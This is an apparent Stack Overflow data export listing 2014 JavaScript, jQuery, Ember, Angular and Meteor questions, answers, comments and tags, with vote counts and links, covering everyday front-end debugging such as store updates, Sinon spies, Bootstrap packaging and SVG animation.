has body: I build application using web-socket and I want dynamically change view I have code in my model: model: function () { var store = this.store; var socket = new_socket(); socket.on('message', function (message) { store.push('record',message); }); return store.find('consultation'); } And data successfully loading into ember store, but ember doesn't update view. What I need to do? For example when I use save all works fine: var record = this.store.createRecord('record',{}); record.save() UPDATE: I found this solution:, but it's also not working My controller (consultation.js): export default Ember.ObjectController.extend({ needs: ['application'], records: function() { console.log(this.get('store')); return this.get('store').filter('record', function(record) { console.log(record); }); }.property('records'), Template: {{#each item in controller.records}} {{/each}} Model consultation looks like this (with hasMany field): export default DS.Model.extend({ records: DS.hasMany('record', { async: true }), }); Second console.log is not printing, I solved it like this var obj = store.push('record', jsonObj.message); this.controllerFor('consultation').get('records').pushObject(obj); But it's looks like not good. In which way I can make auto synchronization between model and controller
accepted answer: http://stackoverflow.com/a/25616072
score: 0
answer count: 1

http://stackoverflow.com/comment/40155314
comment on: http://stackoverflow.com/a/25691646
has text: This assumes that elements are never removed. Not a reliable solution in my opinion.
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40156464
type: Comment
type: QuestionComment
has text: what you want exactly
comment on: http://stackoverflow.com/q/25692258
score: 0

http://stackoverflow.com/q/25712430
tagged with: less
type: Question
upvote count: 4
tagged with: javascript
has body: So, I'm trying to author a small Meteor package that includes the LESS version of Bootstrap, along with my favorite Bootswatch theme. I'm apparently doing something wrong, because when I try to even use the normal Bootstrap grid system, nothing happens. package.js Package.describe({ summary: "Bootstrap 3, using Sandstone Bootswatch. (LESS version)", version: "3.2.0", git: "https://github.com/czbaker/meteor-bootstrap-3-sandstone" }); Package.onUse(function(api) { // For Meteor 0.9.1.1 api.versionsFrom('METEOR@0.9.1.1'); // Dependencies api.use('less', 'client'); api.use('jquery', 'client'); // Bootstrap's Javascript Stuff api.add_files('lib/js/transition.js', 'client'); api.add_files('lib/js/alert.js', 'client'); api.add_files('lib/js/button.js', 'client'); api.add_files('lib/js/carousel.js', 'client'); api.add_files('lib/js/collapse.js', 'client'); api.add_files('lib/js/dropdown.js', 'client'); api.add_files('lib/js/modal.js', 'client'); api.add_files('lib/js/tooltip.js', 'client'); api.add_files('lib/js/popover.js', 'client'); api.add_files('lib/js/scrollspy.js', 'client'); api.add_files('lib/js/tab.js', 'client'); api.add_files('lib/js/affix.js', 'client'); // Fonts api.add_files('lib/fonts/glyphicons-halflings-regular.eot', 'client'); api.add_files('lib/fonts/glyphicons-halflings-regular.svg', 'client'); api.add_files('lib/fonts/glyphicons-halflings-regular.ttf', 'client'); api.add_files('lib/fonts/glyphicons-halflings-regular.woff', 'client'); }); This is loosely based on a pre-0.9 package, and will deal with (hopefully) providing the JavaScript stuff in Bootstrap. My problem is currently with the LESS files. Here's a tree of my Package: misutowolf@jakiro ~/projects/bootstrap-3-sandstone-less $ tree . ├── lib │ ├── fonts │ │ ├── glyphicons-halflings-regular.eot │ │ ├── glyphicons-halflings-regular.svg │ │ ├── glyphicons-halflings-regular.ttf │ │ └── glyphicons-halflings-regular.woff │ ├── js │ │ ├── affix.js │ │ ├── alert.js │ │ ├── button.js │ │ ├── carousel.js…
score: 4
answer count: 1
downvote count: 0
tagged with: meteor
favorite count: 0
has answer: http://stackoverflow.com/a/26478382
has comment: http://stackoverflow.com/comment/40193827
has title: Meteor, LESS, and Bootstrap (Bootswatch)
tagged with: twitter-bootstrap
type: UnansweredQuestion
tagged with: css

http://stackoverflow.com/comment/40648698
type: AnswerComment
type: Comment
score: 0
has text: Please check my question update above. I appreciate if you could answer it as an update in your answer?Thanks in advance.
comment on: http://stackoverflow.com/a/25582097

http://stackoverflow.com/a/25634114
accepted answer of: http://stackoverflow.com/q/25634066
type: AcceptedAnswer
score: 4
answers question: http://stackoverflow.com/q/25634066
has body: Set the innerHTML to the current innerHTML value wrapped with the span tags by concatenating them. tbl.rows[i].cells[6].innerHTML = '&lt;span&gt;' + tbl.rows[i].cells[6].innerHTML + '&lt;/span&gt;'
type: Answer
upvote count: 4
downvote count: 0

http://stackoverflow.com/q/25570452
score: 0
has comment: http://stackoverflow.com/comment/39959229
answer count: 1
tagged with: javascript
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25572856
has comment: http://stackoverflow.com/comment/39936190
tagged with: ember.js
type: Question
has answer: http://stackoverflow.com/a/25572856
type: AnsweredQuestion
has body: I have an Emberjs application with jQuery, and i met strange thing, but maybe it's a feature :). I have a main view template, let's name it main.hbs. And this template has child template child1.hbs: {{outlet child1}} I know that every template has it's own .js file (main.js and child1.js) In child1.js I have a code like this: export default Ember.View.extend({ didInsertElement: function() { console.log(Ember.$('.somediv-from-main-hbs').length); } }); I need to get element from parent view, but I can't. Is there any way to access to the element from parent template? Thank you.
has title: get jquery element from other view template in emberjs
has comment: http://stackoverflow.com/comment/39938032

http://stackoverflow.com/comment/40117223
has text: Boolean is faster as you have one less comparison to make. You already have test set to false, but in second case you need to do string compare and push the result of that into the IF condition (which is the same as case 1 from here on)
comment on: http://stackoverflow.com/q/25670850
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25578112
upvote count: 1
duplicate of: http://stackoverflow.com/q/8931334
answer count: 1
downvote count: 1
tagged with: javascript
favorite count: 0
score: 0
tagged with: sinon
tagged with: backbone.js
linked to: http://stackoverflow.com/q/8931334
has body: My code is functioning properly, but my test case is failing for one of its expectations. I don't understand why my spy fails to believe that a method has been executed. I bind an event listener like so: var playlists = Backbone.Collection.extend({ initialize: function(){ this.on('add', this._onAdd); }, // Method: _onAdd: function (model, collection, options) { console.log('onAdd'); this._foo(); }, _foo: function(){ console.log('foo'); } }); Playlists = new playlists(); and I am using sinon to spy on my object: it('should call _onAdd when adding a model to the collection', function() { sinon.spy(Playlists, '_onAdd'); sinon.spy(Playlists, '_foo'); Playlists.add({}); expect(Playlists._onAdd.calledOnce).to.equal(true); expect(Playlists._foo.calledOnce).to.equal(true); Playlists._onAdd.restore(); Playlist._foo.restore(); }); My test case fails because the expectation for _onAdd being called once is not true. However, the expectation for _foo being called once is true. I am doing something incorrect with how I am spying on my event listener. Why does sinon not believe _onAdd has been called. How can I correct this?
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25578185
accepted answer: http://stackoverflow.com/a/25578185
has title: Spying on a method with sinon. Method bound to event listener. Method was executed but .calledOnce is false?
type: Question

http://stackoverflow.com/a/25603635
has body: closest should be used to get the closest parent of the element, then get the previous sibling: var text = $(this).closest('div').prev('h1').text(); DEMO: http://jsfiddle.net/son6v8g3/3/
answers question: http://stackoverflow.com/q/25603619
score: 7
type: AcceptedAnswer
downvote count: 0
type: Answer
upvote count: 7
accepted answer of: http://stackoverflow.com/q/25603619

http://stackoverflow.com/a/25641231
has body: Listen to the submit event, not to the click event. $("#form-id").on("submit", function () { $(this).find('[type="submit"]').attr("disabled","disabled"); });
upvote count: 0
answers question: http://stackoverflow.com/q/25640621
score: -1
downvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/40064928

http://stackoverflow.com/a/25655904
answers question: http://stackoverflow.com/q/25655206
score: 0
has body: Are you looking for a way to get the URL of the page so that you can keep the base URL and dynamically change the path? The following will get that information if the URL was something like this http://www.mywidget.com/Lets/Play/Games This one here will get the full URL of http://www.mywidget.com/Lets/Play/Games var urlHref = window.location.href; This one here will get the Host Name of www.mywidget.com var urlHostName = window.location.hostname; This one here will return the pathname of /Lets/Play/Games var urlPathName = window.location.pathname;
type: Answer

http://stackoverflow.com/comment/40173404
type: QuestionComment
comment on: http://stackoverflow.com/q/25701472
score: 0
has text: You define 'myModel' in your scope. shouldn't you use it then like this in your template? `ng-model="myModel.name"`
type: Comment

http://stackoverflow.com/q/25616325
tagged with: jquery
favorite count: 0
has comment: http://stackoverflow.com/comment/40018445
has title: How can i create my own print preview option for all browser
accepted answer: http://stackoverflow.com/a/25616730
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40018969
has body: Is there any way to create my own print preview and give all option as given in chrome print preview. Also i want to hide the chrome default print preview dialog through javascript and show my own print preview dialog, because firefox and IE doesn't have this facility that's why i want my own dialog to show. Thanks, Sandy
score: 1
upvote count: 1
type: Question
has answer: http://stackoverflow.com/a/25616730
tagged with: printing
answer count: 1
downvote count: 0
tagged with: javascript

angularjs-scope
tags question: http://stackoverflow.com/q/25669509
tags question: http://stackoverflow.com/q/25687865
tags question: http://stackoverflow.com/q/25606365
tags question: http://stackoverflow.com/q/25677977
tags question: http://stackoverflow.com/q/25658638
tags question: http://stackoverflow.com/q/25561106
tags question: http://stackoverflow.com/q/25641742
tags question: http://stackoverflow.com/q/25628892
tags question: http://stackoverflow.com/q/25569733
tags question: http://stackoverflow.com/q/25557535
tags question: http://stackoverflow.com/q/25634602
tags question: http://stackoverflow.com/q/25591039
tags question: http://stackoverflow.com/q/25696074
tags question: http://stackoverflow.com/q/25610613
tags question: http://stackoverflow.com/q/25635082
tags question: http://stackoverflow.com/q/25663978
tags question: http://stackoverflow.com/q/25589248
tags question: http://stackoverflow.com/q/25665336
tags question: http://stackoverflow.com/q/25606751
tags question: http://stackoverflow.com/q/25607263
tags question: http://stackoverflow.com/q/25611469
tags question: http://stackoverflow.com/q/25683564
tags question: http://stackoverflow.com/q/25662075
tags question: http://stackoverflow.com/q/25572129
tags question: http://stackoverflow.com/q/25556926
tags question: http://stackoverflow.com/q/25552996
tags question: http://stackoverflow.com/q/25682711
tags question: http://stackoverflow.com/q/25631744
tag name: angularjs-scope
tags question: http://stackoverflow.com/q/25676488
tags question: http://stackoverflow.com/q/25686917
tags question: http://stackoverflow.com/q/25631600
tags question: http://stackoverflow.com/q/25613924
tags question: http://stackoverflow.com/q/25565314
tags question: http://stackoverflow.com/q/25630312
tags question: http://stackoverflow.com/q/25666242
tags question: http://stackoverflow.com/q/25616641
tags question: http://stackoverflow.com/q/25578105
tags question: http://stackoverflow.com/q/25624811
tags question: http://stackoverflow.com/q/25555001
tags question: http://stackoverflow.com/q/25651006
tags question: http://stackoverflow.com/q/25676749
tags question: http://stackoverflow.com/q/25649090
tags question: http://stackoverflow.com/q/25645229
tags question: http://stackoverflow.com/q/25567113
type: Tag
tags question: http://stackoverflow.com/q/25666311

http://stackoverflow.com/a/25628504
score: 0
type: Answer
has body: Just look at the bower.json files for the packages. Here's the one for Ember.js and here's the one for Ember-Data.
answers question: http://stackoverflow.com/q/25628395

http://stackoverflow.com/comment/39975135
type: AnswerComment
score: 0
type: Comment
has text: … Sorry I am really thankful for your help! But on my site it tells me "TypeError: 'undefined' is not an object (evaluating '$navigation.offset().top')" and I just don't know what it means. In JS I am just a starter…
comment on: http://stackoverflow.com/a/25592350

http://stackoverflow.com/comment/39999523
score: 0
type: QuestionComment
type: Comment
has text: I'm not making a new shape tho. I'm just updating an already existing shape. Also I'm not sure how I would be clearing the previous graphics. Since that is never done in the tutorials e.g. [html5canvastutorials](http://www.html5canvastutorials.com/kineticjs/html5-canvas-set-alpha-with-kineticjs/)
comment on: http://stackoverflow.com/q/25605653

http://stackoverflow.com/comment/40120145
has text: What it `youtubeLinkParser`, and from where did you get it?
comment on: http://stackoverflow.com/q/25672431
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25687220
answers question: http://stackoverflow.com/q/25686700
upvote count: 3
score: 3
has body: You can use a directive like this: app.directive('owlCarousel', function() { return { restrict: 'A', scope: { owlOptions: '=' }, link: function(scope, element, attrs) { $(element).owlCarousel(scope.owlOptions); } }; }); And on the HTML add it as an attribute: &lt;div owl-carousel owl-options="owlOptions"&gt; ... &lt;/div&gt; Demo
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25686700
type: Answer

http://stackoverflow.com/q/25654650
has title: On page load, instead of displaying first slide, last slide gets displayed for around less than a second
accepted answer: http://stackoverflow.com/a/25669966
score: 0
has body: I am using a NivoSlider and coming across this issue: When page loads, instead of displaying first slide (as I have set startSlide : 0), last slide (or sometimes some other image from the set of images) gets displayed for around less than a second. I believe, slider hasn't properly started by then, because when the slider actually starts control is seen coming on the first bullet only. Following is the code that I have: n.fn.nivoSlider.defaults = { effect : "sliceDownRight", slices : 15, boxCols : 8, boxRows : 4, animSpeed : 500, pauseTime : 5e3, startSlide : 0, directionNav : !0, controlNav : !0, controlNavThumbs : !1, pauseOnHover : !0, manualAdvance : !1, prevText : "Prev", nextText : "Next", randomStart : !1, overflow : "hidden", beforeChange : function () {}, afterChange : function () {}, slideshowEnd : function () {}, lastSlide : function () {}, afterLoad : function () {} }; Can anyone please let me know why this might be happening?
tagged with: nivo-slider
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25669966
type: Question
answer count: 1
tagged with: javascript
tagged with: jquery

jquery-events
tags question: http://stackoverflow.com/q/25572069
tag name: jquery-events
tags question: http://stackoverflow.com/q/25573468
tags question: http://stackoverflow.com/q/25619188
tags question: http://stackoverflow.com/q/25556817
tags question: http://stackoverflow.com/q/25611540
tags question: http://stackoverflow.com/q/25554366
type: Tag
tags question: http://stackoverflow.com/q/25705413
tags question: http://stackoverflow.com/q/25689481
tags question: http://stackoverflow.com/q/25663782
tags question: http://stackoverflow.com/q/25579856
tags question: http://stackoverflow.com/q/25563084
tags question: http://stackoverflow.com/q/25642541
tags question: http://stackoverflow.com/q/25695508

http://stackoverflow.com/q/25551239
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/39897770
has body: I have created a drop down list with names of books. When a book name is selected from the drop down, I would like it to display information about the book in the same page. The book information is stored in a mysql database. I am currently able to display information for all books, but I would like to be able to sort through the information on a php page. I attempted to implement the answer found here, but nothing happened. Select Book Name 1 Book Name 2 Book Name 3 Book Name 4 My script is: To start, how do I display the selected book name on the page? For example, if Book Name 1 was selected from the drop down, a single line of text will appear displaying Book Name 1. I attempted to write the book name with this script. Eventually I would like to use the variable bookname to select the information the mysql database. There are multiple entries with the same book name. SELECT * WHERE name = $bookname
favorite count: 0
downvote count: 0
linked to: http://stackoverflow.com/q/5024056
tagged with: php
has comment: http://stackoverflow.com/comment/39897971
has comment: http://stackoverflow.com/comment/39898420
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25551740
accepted answer: http://stackoverflow.com/a/25551740
score: 1
has title: How do I use onchange to display different information based on the selected value?
has comment: http://stackoverflow.com/comment/39897829
type: Question
has comment: http://stackoverflow.com/comment/39897553
answer count: 1
tagged with: javascript
tagged with: jquery
tagged with: onchange
upvote count: 1

http://stackoverflow.com/comment/39939003
comment on: http://stackoverflow.com/q/25572474
has text: I have tried the codes from below comments. none works
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/q/25632144
downvote count: 0
has answer: http://stackoverflow.com/a/73616097
type: Question
has answer: http://stackoverflow.com/a/25632187
accepted answer: http://stackoverflow.com/a/25632187
tagged with: javascript
has comment: http://stackoverflow.com/comment/40047937
upvote count: 2
linked to: http://stackoverflow.com/q/1732348
has comment: http://stackoverflow.com/comment/40049021
answer count: 3
has comment: http://stackoverflow.com/comment/40048484
has answer: http://stackoverflow.com/a/25632269
favorite count: 0
has comment: http://stackoverflow.com/comment/40057498
possible better answer: http://stackoverflow.com/a/25632269
has title: javascript regex to get url from string containing script tag
has body: I am trying to figure out how to write a regex that would provide the url from a string like this: '&lt;script type="text/javascript" src="http://chrismills.la/test.js"&gt;&lt;/script&gt;'; This works, but I need to find a cleaner way to do this: var url = ''; _content.replace(/src ?= ?"([^"]+)"/gi, function(res) { url = res; url = url.replace('src=',''); url = url.replace(/['"]+/g, '') url = url.replace(/["']+/g, '') }); script.src = url; In action: http://jsfiddle.net/zb3jh180/ SOLUTION, based on answer below: var regex = /&lt;script.*?src="(.*?)"/gmi; var url = regex.exec(_content); script.src = url[1];
tagged with: regex
has comment: http://stackoverflow.com/comment/40080208
score: 2
type: AnsweredQuestion

http://stackoverflow.com/comment/40091871
comment on: http://stackoverflow.com/q/25656430
has text: Quite likely you have other click event listeners. Is this all the code you have on the page? How does your markup look like?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25656493
tagged with: jquery
has body: UPDATED DESCRIPTION: Using Snap.svg - I'm trying to load an svg graphic, that contains several svg groups, the groups will be made up most of paths. I would like to select specific groups within the svg and then apply sequential path transform animations. UPDATE #2: Per @Ian's suggestion I appended the other svg elements and they're appearing on screen but I still can't get them to animate. :) So in this case I would like the 'forearm' to rotate, once its done rotating I want to animate the paths transforms as if the muscles were bulging (image below) I've tried all the examples on snap.io and on SO but I can't get it to work. I'm racking my mind for a few hours and I still have yet to figure it out. Any help would be GREATLY appreciated. Disclaimer: I'm a bit of a JS n00b, so please be kind :) Heres my html: ... &lt;body&gt; &lt;svg id="the_man"&gt;&lt;/svg&gt; &lt;/body&gt; ... Here's my svg - body.svg (from AI) &lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"&gt; &lt;svg version="1.1" id="body" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="400px" height="400px" viewBox="0 0 400 400" enable-background="new 0 0 400 400" xml:space="preserve"&gt; &lt;g id="arm"&gt; &lt;path id="bicep" d="M337.889,188c0,0-36.11-35.556-98.333-32.222c-62.222,3.333-84.444,43.889-84.444,43.889l1.667,49.445 c28.749,11.781,95.286,69.204,178.333,3.333L337.889,188z"/&gt; &lt;path id="forearm" d="M174.333,250.938c0,0,19.659-36.111,17.816-98.333c-1.844-62.223-24.267-84.445-24.267-84.445l-27.338,1.667 c-6.514,28.749-38.263,95.286-1.843,178.334L174.333,250.938z"/&gt; &lt;/g&gt; &lt;/svg&gt; Finally, heres my JS. UPDATE Thank you @Robert Longson that helped to make my svgs, those must have been some js comments that slipped in there :) But I'm still having trouble get the path transform animations Thanks to @Ian for the suggestion but I still cant …
score: 0
tagged with: http://stackoverflow.com/tag/svg
linked to: http://stackoverflow.com/q/25678159
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25674251
accepted answer: http://stackoverflow.com/a/25674251
has comment: http://stackoverflow.com/comment/40095327
has title: Major problems with Snap.svg loaded SVG graphics - selecting and animating path transforms on specific elements is not working
type: Question
answer count: 1
tagged with: javascript

http://stackoverflow.com/comment/40145607
type: AnswerComment
has text: No problem - just remember that the month is 0 based (so 11 is actually December).
type: Comment
comment on: http://stackoverflow.com/a/25686582
score: 0

http://stackoverflow.com/q/25699743
has comment: http://stackoverflow.com/comment/40170198
type: UnansweredQuestion
has body: I have a problem where I can't get my JavaScript calculator to work. When displayed in a browser, that part shows the actual code lines instead of the returned answer. This is what I have so far. The calculation is in the function b(), and printed in the document.write() on the bottom. JavaScript: //*Note that this is an external JavaScript file* function a(a1,a2,a3) { this.a1 = a1; this.a2 = a2; this.a3 = a3; this.a4 = b; } var abc = new a("2", "80", "1000"); var def = new a("1.5", "40", "512"); var ghi = new a("1", "20", "256"); //Below is the calulation function I'm having problems with function b() { var calculation; calculation = 500; calculation+=(this.a1 = 2) ? 200 : 100; calculation+=(this.a2 = 80) ? 50 : 25; calculation+=(this.a3 = 1000) ? 150 : 75; return calculation; } var returned_value_abc = abc.a4(); var returned_value_def = def.a4(); var returned_value_ghi = ghi.a4(); document.write("Abc object: "); document.write("&lt;br/&gt;"); //Below is code to print out returned calculation value document.write("Value: "+abc.a4); document.write("&lt;br/&gt;"); document.write("&lt;br/&gt;"); document.write("Def object: "); document.write("&lt;br/&gt;"); //Below is code to print out returned calculation value document.write("Value: "+def.a4); document.write("&lt;br/&gt;"); document.write("&lt;br/&gt;"); document.write("Ghi object: "); document.write("&lt;br/&gt;"); //Below is code to print out returned calculation value document.write("Value: "+ghi.a4);
downvote count: 1
linked to: http://stackoverflow.com/q/802854
type: Question
upvote count: 0
tagged with: javascript
tagged with: jquery
score: -1
answer count: 1
has title: JavaScript: Calculator using variables
favorite count: 0
has answer: http://stackoverflow.com/a/25699786

http://stackoverflow.com/a/25682707
answers question: http://stackoverflow.com/q/25682580
upvote count: 2
has comment: http://stackoverflow.com/comment/40138773
accepted answer of: http://stackoverflow.com/q/25682580
has body: Just a few change to be done Working Demo Change title to name and label to sex like as shown below $scope.peple.push({ name: title, sex: label }); Change button to submit &lt;input type="submit" value="Submit" /&gt;
type: AcceptedAnswer
downvote count: 0
type: Answer
score: 2

http://stackoverflow.com/a/25659588
type: Answer
has comment: http://stackoverflow.com/comment/40122416
answers question: http://stackoverflow.com/q/25657206
has comment: http://stackoverflow.com/comment/40131401
has body: Angular is awesome, you won't be needing most of the jquery there. See plunkr below: http://plnkr.co/edit/yqhnQyR4NrFvnUBn7ite?p=preview You need to set name to 'Noypi' ... 'just kidding...' app.controller('MainController',['$scope', function($scope) { $scope.name = "Noypi"; $scope.content = ""; }]); html... + Add Section
score: 0

http://stackoverflow.com/comment/40148173
has text: the extra ]; is not an error ..please see the updated graph ...adding the extra column in the tool tip
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25687156

http://stackoverflow.com/comment/40055955
comment on: http://stackoverflow.com/q/25636856
has text: what's present in your xmlString after parsing xml?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/39928104
has text: Wow.. I'm such an idiot.... thanks for the note :) But now I get a popup with 'error'
score: 0
comment on: http://stackoverflow.com/q/25567409
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40026536
has text: there is no error, but the functionality is not correct, you should be able to select multiple options.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25618899

http://stackoverflow.com/a/25686158
downvote count: 1
answers question: http://stackoverflow.com/q/25686117
has comment: http://stackoverflow.com/comment/40144732
score: -1
upvote count: 0
has comment: http://stackoverflow.com/comment/40145981
has body: If you would like them hidden on page load add a class hidden to the divs. .hidden{ display: none; } To show and hide just use jquery. $('.error').hide(); $('.error').show();
has comment: http://stackoverflow.com/comment/40146125
type: Answer
has comment: http://stackoverflow.com/comment/40144554

http://stackoverflow.com/a/25562402
accepted answer of: http://stackoverflow.com/q/25562019
upvote count: 1
answers question: http://stackoverflow.com/q/25562019
has comment: http://stackoverflow.com/comment/39921668
has comment: http://stackoverflow.com/comment/39921744
has body: onpropertychange works in IE only, that's why other browsers are not causing troubles. In IE you create an infinite loop by changing some properties of the same element which had fired the propertychange event. You can fix the problem by using for example combination of onkeyup, onpaste and oncut to detect changes in the text in textarea.
score: 1
has comment: http://stackoverflow.com/comment/39921906
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/39948740
type: Answer

http://stackoverflow.com/q/25618442
type: Question
linked to: http://stackoverflow.com/q/6860853
tagged with: c#
has comment: http://stackoverflow.com/comment/40022472
tagged with: javascript
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25618737
score: 0
answer count: 2
has title: How to set random id for dynamic created textbox and div
has body: How to set random id for dynamic created textbox and div.i have to set different id for dynamic created div and textbox.please give id for randomly my code is here Untitled Page
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25618737
has comment: http://stackoverflow.com/comment/40022404
duplicate of: http://stackoverflow.com/q/6860853
has comment: http://stackoverflow.com/comment/40022348
tagged with: css
possible better answer: http://stackoverflow.com/a/25618906
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25618906
has comment: http://stackoverflow.com/comment/40022354

http://stackoverflow.com/q/25628564
tagged with: javascript
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25628627
has answer: http://stackoverflow.com/a/25630877
has body: I have created a javascript file on my computer, and I wanted to put it in a web page. I used this html file to hold the code, with an src to load the processing js library that I had based my script on: Processing JS When I loaded this page in Google Chrome, it had an error that it could not load processing.js. Could anyone help me solve this problem?
type: Question
score: 0
answer count: 2
tagged with: eclipse
has title: How do you add JS resources in eclipse?

http://stackoverflow.com/a/25592392
type: Answer
score: 8
upvote count: 8
has comment: http://stackoverflow.com/comment/39975625
has body: Well, friend of my friend found the answer. To console.log without reference we should use setTimout and bind setTimeout(console.log.bind(console, 'test')); And here is the whole facebook snippet: var i = "Stop!", j = "This is a browser feature intended for developers. If someone told you to copy-paste something here to enable a Facebook feature or \"hack\" someone's account, it is a scam and will give them access to your Facebook account."; if ((window.chrome || window.safari)) { var l = 'font-family:helvetica; font-size:20px; '; [ [i, l + 'font-size:50px; font-weight:bold; ' + 'color:red; -webkit-text-stroke:1px black;'], [j, l], ['', ''] ].map(function(r) { setTimeout(console.log.bind(console, '\n%c' + r[0], r[1])); }); }
has comment: http://stackoverflow.com/comment/39976190
downvote count: 0
answers question: http://stackoverflow.com/q/25587201
has comment: http://stackoverflow.com/comment/101302926

http://stackoverflow.com/a/25596614
has comment: http://stackoverflow.com/comment/39982550
has body: Add an ID to the input field &lt;div class="calc"&gt; &lt;input id="outputBox" type="text" value="" /&gt; &lt;/div&gt; And set it's value to the inputString function updateString(p1){ inputString += p1; document.getElementById("outputBox").value = inputString; return inputString; } jsFiddle Demo The final calculation (=) works the same way onclick=" document.getElementById('outputBox').value = eval(inputString);"
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25596526
type: Answer
answers question: http://stackoverflow.com/q/25596526
score: 1
upvote count: 1

http://stackoverflow.com/q/25551507
tagged with: javascript
has title: Jquery, alert onclick of data by get method not working
has comment: http://stackoverflow.com/comment/39898301
answer count: 2
has comment: http://stackoverflow.com/comment/39899184
has comment: http://stackoverflow.com/comment/39898937
has comment: http://stackoverflow.com/comment/39898277
has comment: http://stackoverflow.com/comment/39898107
tagged with: jquery
has answer: http://stackoverflow.com/a/25553562
has comment: http://stackoverflow.com/comment/39898364
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25551638
has comment: http://stackoverflow.com/comment/39898114
score: 0
has body: I think this is some kind of bug. I have no idea, because I am not much of advanced on jquery. What I am trying to do is, do a get request> value.html(result)>. Once the data is shown on the page, which are some span buttons, I made a small onclick function for testing, but it is not working. $('#tag').click(function(){ alert(0); }); }); An get request example: $.get( "tags.php?page=1&cat=dogs", function( data ) { $( ".result" ).html( data ); }); and this is what tags.php returns: aaabbb So this data is shown into the page correctly, but what I am trying to do is get the value of span. As you can see I made a simple alert function if span was clicked and it does not work. It works with other span buttons on the page, but not with this one which are displayed form get request. Thanks for the help and sorry for bad english.
type: Question
has comment: http://stackoverflow.com/comment/39898212
has comment: http://stackoverflow.com/comment/39898459
linked to: http://stackoverflow.com/q/203198

http://stackoverflow.com/comment/39952664
type: Comment
comment on: http://stackoverflow.com/a/25580199
score: 1
has text: @AnisHikmatAbu-hmiad: Yes, sorry, I meant to say: They don't all have the same type (you can throw anything), but `catch` catches *any* exception that was thrown. It's not like some other languages where you can catch some and not others. Meant to call that out, I'll add something now.
type: AnswerComment

http://stackoverflow.com/comment/39899567
has text: What do you mean by "access the map", if you want to do something in the browser you can return data from your web method to a JavaScript callback function and then do whatever you wish in the UI.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25551675
type: QuestionComment

http://stackoverflow.com/comment/39987717
type: AnswerComment
type: Comment
has text: I understood 2/3 solutions, but how could I make the call synchronously without changing the actual method itself?
comment on: http://stackoverflow.com/a/25598820
score: 0

http://stackoverflow.com/comment/40113422
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25668179
has text: Page refresh is needed in this case since most of the CSS is provided from the external js of the slider. Take a look here[Site](http://thetop5ofall.blogspot.in/2014/08/motivational-quotes.html)
score: 0

http://stackoverflow.com/comment/40117304
comment on: http://stackoverflow.com/a/25668499
type: Comment
has text: Perfect. I tried with Function.method, now works with your answer. Thanks.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/106821432
score: 1
type: AnswerComment
type: Comment
has text: Your can explain please what in your code doing const addDays?
comment on: http://stackoverflow.com/a/58466554

timer
tag name: timer
type: Tag
tags question: http://stackoverflow.com/q/25553220
tags question: http://stackoverflow.com/q/25580586

http://stackoverflow.com/comment/39901856
comment on: http://stackoverflow.com/a/25553334
type: AnswerComment
has text: Okay, apparently Visual studio keeps the project running in IIS even if you stop the project from running. Thanks.
type: Comment
score: 0

http://stackoverflow.com/comment/39950994
comment on: http://stackoverflow.com/a/25579244
score: 0
type: Comment
has text: @mplungjan in original Validate function
type: AnswerComment

http://stackoverflow.com/comment/42479737
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25610991
has text: Hi, I hope you did find the solution. I'm getting same error and I don't know how to solve it.

http://stackoverflow.com/comment/39943488
score: 0
type: Comment
type: QuestionComment
has text: @Guffa is almost the same code. The difference is that the value of securityPrototype.encryptionKey.identifier is assigned differently. The main problem is the reference of 'x' inside the encryptionKey method must always be resolved. This function is identical to what I am getting the error.
comment on: http://stackoverflow.com/q/25574926

http://stackoverflow.com/a/25617171
score: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/40020373
answers question: http://stackoverflow.com/q/25616904
has comment: http://stackoverflow.com/comment/40020660
has comment: http://stackoverflow.com/comment/40020555
has comment: http://stackoverflow.com/comment/40020111
has comment: http://stackoverflow.com/comment/40020866
type: Answer
has comment: http://stackoverflow.com/comment/40020287
has comment: http://stackoverflow.com/comment/40020485
